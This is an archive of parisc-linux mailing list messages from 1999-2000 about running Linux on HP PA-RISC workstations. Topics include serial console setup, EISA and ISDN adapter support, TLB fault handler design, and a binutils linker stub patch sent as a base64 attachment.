Original-Received: (qmail 1605 invoked from network); 16 Jun 2000 19:04:37 -0000
Original-Received: from lmmx1.fl.icn.siemens.com (192.132.51.129)
  by mailserv2.iuinc.com with SMTP; 16 Jun 2000 19:04:37 -0000
Original-Received: from boca210a.boca.ssc.siemens.com (boca210a.boca.ssc.siemens.com [135.1.69.210])
	by lmmx1.fl.icn.siemens.com (8.9.3/8.9.3) with ESMTP id OAA02739;
	Fri, 16 Jun 2000 14:59:38 -0400 (EDT)
Original-Received: by boca210a.boca.ssc.siemens.com with Internet Mail Service (5.5.2650.21)
	id <LL3D3D61>; Fri, 16 Jun 2000 14:59:38 -0400
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:7437

The system currently has HPUX 10.20 on the harddrive.  I have over 200
others HPs here up and running.    I'll look at the document and see if I
can figure it out.

Thanks,

Jay


 -----Original Message-----
From: 	Matt Taggart [mailto:taggart@carmen.fc.hp.com] 
Sent:	Friday, June 16, 2000 2:49 PM
To:	D'Angelo, James
Cc:	jdangelo@techie.com; parisc-linux@thepuffingroup.com
Subject:	Re: [parisc-linux] Booting vmlinux. 


"D'Angelo, James" writes...

> I'm using a 712/80.  I'll switch to the sercon.  What would the default
> speed/parity be?

Setting a 712 to use serial console is kind of tricky. See,

http://puffin.external.hp.com/mailing-lists/parisc-linux/1999/12-Dec/0091.ht
ml

for instructions(and be *careful*). In order to do it you need ISL. Do you 
have a disk with HP-UX on it that you could boot from? An HP-UX install CD 
should work too.

Contact me if you have any problems.

-- 
Matt Taggart
taggart@fc.hp.com


From - Thu Nov 08 21:12:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bas Valkema" <bvalkema@knowhowww.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] EISA
Date: Mon, 19 Jun 2000 15:58:09 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <002201bfd9f6$69de45e0$0303a0c0@nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0019_01BFDA07.29F23A70"
X-Trace: ger.gmane.org 1416618965 1029 80.91.229.3 (22 Nov 2014 01:16:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:05 +0000 (UTC)
To: "Parisc" <parisc-linux@thepuffingroup.com>
Original-X-From: bvalkema@knowhowww.nl  Mon Jun 19 07:58:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA08335
	for <parisc-linux@puffin.external.hp.com>; Mon, 19 Jun 2000 07:58:58 -0600
Original-Received: (qmail 5377 invoked by uid 15267); 19 Jun 2000 13:59:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5352 invoked from network); 19 Jun 2000 13:59:57 -0000
Original-Received: from mail.superweb.nl (HELO mail01.superweb.nl) (213.171.128.12)
  by mailserv2.iuinc.com with SMTP; 19 Jun 2000 13:59:57 -0000
Original-Received: from bas (dialup129-91.superweb.nl [213.171.129.91]) by mail01.superweb.nl with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id NBQR3LHS; Mon, 19 Jun 2000 15:53:09 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Xref: news.gmane.org gmane.linux.ports.parisc:7438

This is a multi-part message in MIME format.

------=_NextPart_000_0019_01BFDA07.29F23A70
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Is there any support for the EISA bus in the 715/50?


------=_NextPart_000_0019_01BFDA07.29F23A70
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Is there any support for the EISA bus =
in the=20
715/50?</FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0019_01BFDA07.29F23A70--


From - Thu Nov 08 21:12:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Markus Grabert <max@grabert.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] EISA (2)
Date: Mon, 19 Jun 2000 16:20:29 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <394E2C2D.567C87E6@grabert.net>
References: <002201bfd9f6$69de45e0$0303a0c0@nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
 boundary="------------3EDD6F1BF588073D062A6AAD"
X-Trace: ger.gmane.org 1416618965 1033 80.91.229.3 (22 Nov 2014 01:16:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:05 +0000 (UTC)
Cc: Parisc <parisc-linux@thepuffingroup.com>
Original-X-From: max@grabert.net  Mon Jun 19 08:20:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA08792
	for <parisc-linux@puffin.external.hp.com>; Mon, 19 Jun 2000 08:20:17 -0600
Original-Received: (qmail 26714 invoked by uid 15267); 19 Jun 2000 14:21:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26684 invoked from network); 19 Jun 2000 14:21:17 -0000
Original-Received: from rfhs8012.fh-regensburg.de (root@194.95.108.29)
  by mailserv2.iuinc.com with SMTP; 19 Jun 2000 14:21:17 -0000
Original-Received: from rfhpc8303.fh-regensburg.de (root@rfhpc8303 [194.95.108.21])
	by rfhs8012.fh-regensburg.de (8.10.1/8.10.1) with ESMTP id e5JEKU317751
	for <parisc-linux@thepuffingroup.com>; Mon, 19 Jun 2000 16:20:31 +0200 (MET DST)
Original-Received: from grabert.net (grm31466@localhost [127.0.0.1]) by rfhpc8303.fh-regensburg.de (8.9.1/8.8.3) with ESMTP id QAA00685 for <parisc-linux@thepuffingroup.com>; Mon, 19 Jun 2000 16:20:30 +0200 (MET DST)
Original-Sender: grm31466@rfhs8012.fh-regensburg.de
X-Mailer: Mozilla 4.51 [en] (X11; I; SunOS 5.7 i86pc)
X-Accept-Language: de-DE, en
Xref: news.gmane.org gmane.linux.ports.parisc:7439


--------------3EDD6F1BF588073D062A6AAD
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Bas Valkema wrote:

> Is there any support for the EISA bus in the 715/50?

I wanted to ask the same question for the 730 !

is it possible to use e.g. WAVElan/ISA-Cards, SCSI-ISA-Cards and so on
(right now) ?


sersn max

--------------3EDD6F1BF588073D062A6AAD
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<body bgcolor="#FFFFFF">
Bas Valkema wrote:
<blockquote TYPE=CITE><style></style>
<font face="Arial"><font size=-1>Is
there any support for the EISA bus in the 715/50?</font></font></blockquote>

<p><br>I wanted to ask the same question for the 730 !
<p>is it possible to use e.g. WAVElan/ISA-Cards, SCSI-ISA-Cards and so
on (right now) ?
<br>&nbsp;
<p>sersn max
</body>
</html>

--------------3EDD6F1BF588073D062A6AAD--


From - Thu Nov 08 21:12:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Shalayeff <mickey@lucifier.dial-up.user.akula.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Picky details of TLB fault handlers
Date: Mon, 22 Mar 1999 12:41:52 -0500 (EST)
Lines: 35
Approved: news@gmane.org
Message-ID: <199903221741.MAA10607@lucifier.dial-up.user.akula.net>
References: <m10P9Bi-0007U1C@the-village.bc.nu>
Reply-To: mickey@openbsd.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618965 1036 80.91.229.3 (22 Nov 2014 01:16:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:05 +0000 (UTC)
Cc: hppa-linux@thepuffingroup.com
To: hppa-linux@thepuffingroup.com
Original-X-From: mickey@lucifier.dial-up.user.akula.net  Mon Mar 22 13:07:42 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id NAA06367
	for <hppa-linux@sod.res.cmu.edu>; Mon, 22 Mar 1999 13:07:41 -0500
Original-Received: (qmail 26979 invoked by uid 15267); 22 Mar 1999 18:06:41 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 26972 invoked from network); 22 Mar 1999 18:06:40 -0000
Original-Received: from lucifier.dial-up.user.akula.net (208.140.175.58)
  by mailserv2.iuinc.com with SMTP; 22 Mar 1999 18:06:40 -0000
Original-Received: (from mickey@localhost)
	by lucifier.dial-up.user.akula.net (8.9.2/8.9.2) id MAA10607;
	Mon, 22 Mar 1999 12:41:52 -0500 (EST)
In-Reply-To: <m10P9Bi-0007U1C@the-village.bc.nu> from Alan Cox at "Mar 22, 99 06:12:34 pm"
X-Flames-To: /dev/null
X-Mailer: ELM [version 2.4ME+ PL32 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:7440

Making, drinking tea and reading an opus magnum from Alan Cox:
> > HP-UX does exactly this sort of thing for handling many traps and
> > interrupts.  It is fairly expensive, though, since you have to have
> > a stack on which to save the IPSW/IIAQ and probably a bunch of other
> > registers, and it's too much messing around for a TLB miss.
> 
> I'm right in assuming its legal to swap the return address - so the TLB
> handler can do a short piece of TLB handling for a present page miss,
> then stash the return into the kernel stack and rfi into the page fault handler
> so it will in turn return to the user context ?

i'd say that a miss handler would not _ever_ exceed 100 instructions total time
to successfully lookup and insert a missing translation into a tlb and
using just shadowed registers, so by doing that w/ all the interrupts
disabled (and keeping some data in direct-mapped segment) no need
to save even a single bit of context (since it's all in the shadows).
then the handler can save the whole context and call pagefault() routine to
process a complex page fault (ie one that has no translation
in the page table), since the whole context is saved it's safe to
receive any other page faults and/or interrupts.

this schema was first implemented in the lites (and mklinux later).
doing this way is like simulating the hardware TLB walker as present
on certain machines (712 at least, maybe any 7100lc, HP help!?)
there are certain constraints on page table organization, but
doing so would greatly speed up the tlb-walker equipped machines,
leaving the rest still in the best shape possible.
building a tlb-walker-ONLY kernel (as an option) may save about 10 other
instructions.

cu

-- 
    paranoic mickey       (my employers have changed but, the name has remained)


From - Thu Nov 08 21:12:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Douglas Homero Hipocreme - SAO <Dhipocreme@sao.politec.com.br>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] linux on PARisc
Date: Mon, 19 Jun 2000 16:28:03 -0300
Lines: 14
Approved: news@gmane.org
Message-ID: <B1A3D6EE991BD3118F050004ACEB3FE828DD01@SAOSERV010>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618966 1039 80.91.229.3 (22 Nov 2014 01:16:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:06 +0000 (UTC)
To: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
Original-X-From: Dhipocreme@sao.politec.com.br  Mon Jun 19 13:28:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA10583
	for <parisc-linux@puffin.external.hp.com>; Mon, 19 Jun 2000 13:28:34 -0600
Original-Received: (qmail 9788 invoked by uid 15267); 19 Jun 2000 19:29:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9646 invoked from network); 19 Jun 2000 19:29:23 -0000
Original-Received: from unknown (HELO bsbserv009.politec.com.br) (200.252.229.130)
  by mailserv2.iuinc.com with SMTP; 19 Jun 2000 19:29:23 -0000
Original-Received: by bsbserv009.beltours.com.br with Internet Mail Service (5.5.2650.21)
	id <M0MWFMBY>; Mon, 19 Jun 2000 16:27:23 -0300
X-Mailer: Internet Mail Service (5.5.2650.21)
X-MIME-Autoconverted: from quoted-printable to 8bit by puffin.external.hp.com id NAA10583
Xref: news.gmane.org gmane.linux.ports.parisc:7441




hi, 
id like to get a like to run on my HP9000 hardware, wjere can i get one
copy ??
regards

[ ]s

Douglas Hipocreme
Suporte Tcnico
dhipocreme@sao.politec.com.br


From - Thu Nov 08 21:12:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patric Karlstrom <PATRIC_KARLSTROM@HP-Sweden-om1.om.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ISDN Bri Link
Date: Wed, 21 Jun 2000 10:07:07 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <395077AB.50376005@valhall.sweden.hp.com>
References: <B1A3D6EE991BD3118F050004ACEB3FE828DD01@SAOSERV010>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618966 1045 80.91.229.3 (22 Nov 2014 01:16:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:06 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
Original-X-From: PATRIC_KARLSTROM@HP-Sweden-om1.om.hp.com  Wed Jun 21 02:06:31 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA23506
	for <parisc-linux@puffin.external.hp.com>; Wed, 21 Jun 2000 02:06:30 -0600
Original-Received: (qmail 11801 invoked by uid 15267); 21 Jun 2000 08:07:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11786 invoked from network); 21 Jun 2000 08:07:35 -0000
Original-Received: from bramg1.net.external.hp.com (192.6.126.73)
  by mailserv2.iuinc.com with SMTP; 21 Jun 2000 08:07:35 -0000
Original-Received: from valhall.sweden.hp.com (valhall.sweden.hp.com [15.164.0.21])
	by bramg1.net.external.hp.com (Postfix) with ESMTP id DE0CA2DB
	for <parisc-linux@thepuffingroup.com>; Wed, 21 Jun 2000 10:07:27 +0200 (METDST)
Original-Received: from valhall.sweden.hp.com (valhall.sweden.hp.com [15.164.0.21])
	by valhall.sweden.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with ESMTP id KAA18169
	for <parisc-linux@thepuffingroup.com>; Wed, 21 Jun 2000 10:07:15 +0200 (METDST)
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7442

Hello,

Someone that knows if there will be a support for the ISDN Bri Link adapter? (ISDN adapter that is connected to the scsi chain.)


Some information of the ISDN bri adapter.

Product Main Features
     Communication over B channels (circuit switching mode) with line speeds from 56/64 Kbps up to 384 Kbps. 
     RFC1356 compliance (IP to X.25 encapsulation protocol). 
     RFC1661/1332 compliance (Point-to-Point protocol). 
     RFC1334/1321 compliance (PAP/CHAP and MD5 authentication); requires HP-UX10.20 or later. 
     Communication using X.25 packet switching over D channel.


From - Thu Nov 08 21:12:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Get rid of %r8 linker stubs
Date: Thu, 22 Jun 2000 00:07:14 +1000 (EST)
Lines: 495
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0006212254430.19417-101000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="1024065794-381068437-961596434=:19417"
X-Trace: ger.gmane.org 1416618966 1052 80.91.229.3 (22 Nov 2014 01:16:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:06 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: alan@linuxcare.com.au  Wed Jun 21 08:06:42 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA26607
	for <parisc-linux@puffin.external.hp.com>; Wed, 21 Jun 2000 08:06:42 -0600
Original-Received: (qmail 2125 invoked by uid 15267); 21 Jun 2000 14:07:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1807 invoked from network); 21 Jun 2000 14:07:32 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 21 Jun 2000 14:07:32 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id AAA04866
	for <parisc-linux@thepuffingroup.com>; Thu, 22 Jun 2000 00:07:15 +1000
Xref: news.gmane.org gmane.linux.ports.parisc:7443

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--1024065794-381068437-961596434=:19417
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hello all,
   The attached patch to puffin.external.hp.com CVS binutils-2.10
implements a new linker stub scheme for elf32-hppa.  (Well, it's new for
gnu - I believe the hp linker does something like this).

The new scheme works like this:  For any linker input section that needs a
stub to reach called routines, the linker creates a stub section located
immediately prior to the input section.  A call is simply redirected to
the stub, which consists of a long branch
  ldil LR'XXX,%r1
  be,n RR'XXX(%sr4,%r1)
to the destination.

The old scheme had a single stub section, and out-of-range calls changed
the call instruction from "b,l faraway,%r2" to "be,l stub(%sr4,%r8)".
This of course dedicates a register to point to the stubs, and has some
serious problems caused by changing the return pointer from the normal %r2
to the implicit %r31 used by "be,l".  Additionally, when we finally
implement elf32-hppa shared libraries, there are going to be a _lot_ more
stubs.  We may even exceed the maximum 256k of stubs, especially if we try
to combine .plt and .got with stubs to get a register back.

Anyway, I'd appreciate some brave souls testing out this patch.  A few
positive reports and I'll check the lot in to pehc.

Regards, Alan Modra
-- 
Linuxcare.  Support for the Revolution.




--1024065794-381068437-961596434=:19417
Content-Type: APPLICATION/octet-stream; name="hppastub.diff.gz"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.21.0006220007140.19417@front.linuxcare.com.au>
Content-Description: 
Content-Disposition: attachment; filename="hppastub.diff.gz"

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
